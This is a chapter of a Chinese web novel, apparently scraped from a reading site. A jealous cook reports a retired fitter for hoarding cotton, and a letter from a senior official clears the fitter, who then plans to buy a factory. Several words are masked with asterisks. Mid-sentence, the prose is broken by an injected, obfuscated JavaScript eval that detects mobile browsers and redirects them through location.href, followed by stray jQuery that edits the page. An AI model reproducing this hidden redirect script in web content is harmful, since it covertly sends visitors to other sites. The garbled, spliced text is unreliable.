清晨的红星轧钢厂,大喇叭里正放着激昂的进行曲。
傻柱裹着那件油腻的厨师服,蹲在厂办大楼外的台阶上,眼珠子不停地往保卫科大门那边瞄。
他手里死死攥着一张皱巴巴的纸,那是他昨晚熬了半宿写的**。
“秦姐,你放心,这回我非让那老东西现原形不可。”
傻柱想起昨晚秦淮茹哭得红肿的眼皮,心里那股子英雄救美的劲头就压不住地往上顶。
在他看来,江卫国那些白得发光的棉花、鲜艳得扎眼的的确良,绝对是走歪门邪道弄来的。
一个退休的残废钳工,凭啥能弄到连供销社都断货的特级长绒棉?
“何雨柱,你在这儿蹲坑呢?”
保卫科王大山推门出来,瞧见傻柱那副鬼鬼祟祟的样,眉头就拧成了疙瘩。
傻柱立马弹了起来,一脸谄媚地凑上去,把手里的信往王大山怀里一塞。
“王科长,我有重大情况汇报!”
傻柱压低声音,语气里透着股子狠劲。
“我举报江卫国搞投机倒把,私藏国家战略物资!”
王大山愣了一下,接过信扫了两眼,脸色变得有些古怪。
“你说他那些棉花来路不正?”
“那必须的啊!”
傻柱拍着大腿,吐沫星子乱飞。
“您想啊,现在全国棉花都紧缺,他江卫国上哪儿弄那么多好棉花去做裙子?”
“我亲眼瞧见的,那棉花白得跟云彩似的,一扯老长,绝对是**货!”
“他这是在犯罪!”
王大山没说话,只是盯着傻柱看了半晌。
他想起了前两天陈局长亲自送江卫国回来的场景,还有那张挂在仓库墙上的特等功奖状。
这傻柱,怕是真傻到了姥姥家。
“行了,这事儿我知道了,你先回去吧。”
王大山摆摆手,把信揣进兜里。
傻柱以为大功告成,乐得屁颠屁颠地回了食堂,心里还盘算着等江卫国被抓了,怎么去跟秦姐邀功。
……
西郊仓库。
江卫国正蹲在院子里,手里拿着把刷子,给新出炉的几个回风炉刷漆。
黑子趴在门口,两只耳朵突然竖了起来,冲着路口发出两声沉闷的低吠。
江卫国直起腰,抹了一把额头的汗。
远处,一辆挎斗三轮摩托车正卷着雪尘,呼啸而来。
车上坐着两个穿着制服的**,后座上竟然还跟着一脸得意的傻柱。
“江卫国!你的事儿发了!”
傻柱还没下车,就扯着嗓子喊了起来,声音在荒滩上传出老远。
摩托车在门口停稳,两名**走下来,神色严肃。
李秀莲从屋里跑出来,瞧见这阵仗,吓得手里的针线笸箩差点掉地上。
“爸……这咋又来了?”
江卫国拍了拍手上的灰,示意李秀莲进屋,自己慢条斯理地迎了上去。
“两位同志,有何贵干?”
领头的**姓张,他看了一眼江卫国,又看了看旁边一脸兴奋的傻柱。
“江卫国同志,接到群众举报,你涉嫌非法囤积并倒**家战略物资棉花。”
张**拿出手册,“我们需要对你的物资来源进行核实。”
傻柱在一旁帮腔:“对!核实!好好搜搜他后院那个地窖!里头肯定藏着不少好货!”
江卫国冷笑一声,目光扫过傻柱那张写满小人得志的脸。
“战略物资?”
江卫国从兜里摸出一根大前门点上,吐出一口青烟。
“傻柱,你这想象力不去写剧本真是可惜了。”
他转头看向张**,语气平静得没有一丝波澜。
“两位想查,我配合。不过在查之前,能不能先看看这几样东西?”
江卫国从怀里掏出一个牛皮纸信封,又拿出一张盖着大红公章的提货单。
张**接过提货单看了一眼,眉头一挑。
“城北种子站的提货单?特级长绒棉种十斤,高级复合肥两袋?”
“这能说明啥?”
傻柱在旁边叫嚣,“这种子站的单子,谁知道是不是你伪造的?”
江卫国没理他,示意**看信封里那张纸。
张**抽出那张纸,只看了一眼,身子就猛地僵住了。
他反复确认了三遍右下角那个红色的钢印,脸色瞬间从严肃变成了敬畏。
“这是……赵老**的私人信函?”
另一名**也凑过来,倒吸了一口凉气。
在京城政法战线混的人,谁不知道赵老**的大名?
那是真正的泰山北斗!
信上字数不多,但分量极重:
“卫国同志系我部优秀退伍老兵,曾于战场舍命救我。其所经营之便民项目,乃利国利民之举,望各地各部门予以支持配合。”
落款,赵建国。
“这……这不可能!”
傻柱虽然不识字,但瞧见**那副见了鬼的表情,心里也开始发虚。
“警察同志,你们可别被他骗了!那老头就是个臭打铁的!”
“闭嘴!”
张**猛地转头,一声暴喝吓得傻柱一哆嗦。
“何雨柱,你知不知道诬告立功老兵、诽谤国家领导人是什么罪名?”
张**把信小心翼翼地递还给江卫国,双手竟然有些微微发抖。
“江师傅,实在对不住,是我们偏听偏信了。”
他转过身,冷冷地盯着傻柱。
“这批棉花的来源清清楚楚,是江师
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076903|195105||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
傅从种子站合法购买种子、在自家自留地上试种产出的科研成果。”
“你所谓的‘偷窃’,纯属子虚乌有!”
江卫国弹了弹烟灰,眼神如刀般刮过傻柱。
“傻柱,你刚才说,要搜我的地窖?”
“没……没有,我那是开玩笑……”
傻柱腿都软了,原本想找茬,没成想踢到了钢板。
“开玩笑?”
江卫国往前跨了一步,魁梧的身躯带着一股子从**堆里爬出来的煞气。
“黑子!”
“汪!”
黑子心领神会,猛地蹿出,直接将傻柱扑倒在雪地里。
那血盆大口离傻柱的脖子只有几公分,腥臭的热气喷在傻柱脸上,吓得他瞬间哭出了声。
“江叔!江爷!我错了!我真的是被猪油蒙了心啊!”
江卫国居高临下地看着他,眼神冷漠。
“两位同志,这种无理取闹、恶意干扰正常生产秩序的人,该怎么处理?”
张**也不含糊,直接掏出**。
“带回去!拘留七天,写检讨!还得让厂里开大会批斗!”
傻柱被**像拖死狗一样拽上了摩托车。
临走时,他看见江卫国正弯腰抱起丫丫,那脸上的温柔与刚才的冷酷判若两人。
这种极端的反差,让傻柱心里升起一股从未有过的恐惧。
这个江卫国,真的变了。
变得深不可测,变得谁也惹不起。
……
送走了**,院子里重新恢复了安静。
李秀莲走出来,看着摩托车远去的背影,长长地舒了一口气。
“爸,这傻柱也太坏了,非得把咱们往死里整。”
“坏人不可怕,可怕的是蠢人。”
江卫国放下丫丫,看着墙上那张奖状。
“他这一闹,反倒是帮了咱们。以后这方圆几里地,谁都知道咱们背后有大佛。”
他转过身,看着李秀莲。
“秀莲,去把那两瓶好酒拿出来。今晚孙大虎要带人过来,咱们商量正事。”
“爸,啥正事啊?”
江卫国看向城南的方向,眼神深邃。
“书包和裙子的生意已经到瓶颈了,光靠这间仓库供不上全城的货。”
“我打听过了,城南那个倒闭的被服厂,地皮和机器都在。”
“我要把它盘下来。”
李秀莲惊得张大了嘴:“盘厂子?那得多少钱啊?”
“钱不是问题。”
江卫国嘴角勾起一抹自信的弧度。
“在这个年代,只要你有技术,有背景,有良心,钱就会自己长脚跑进你的兜里。”
“我要让这‘**’的招牌,挂在正阳门外最显眼的地方。”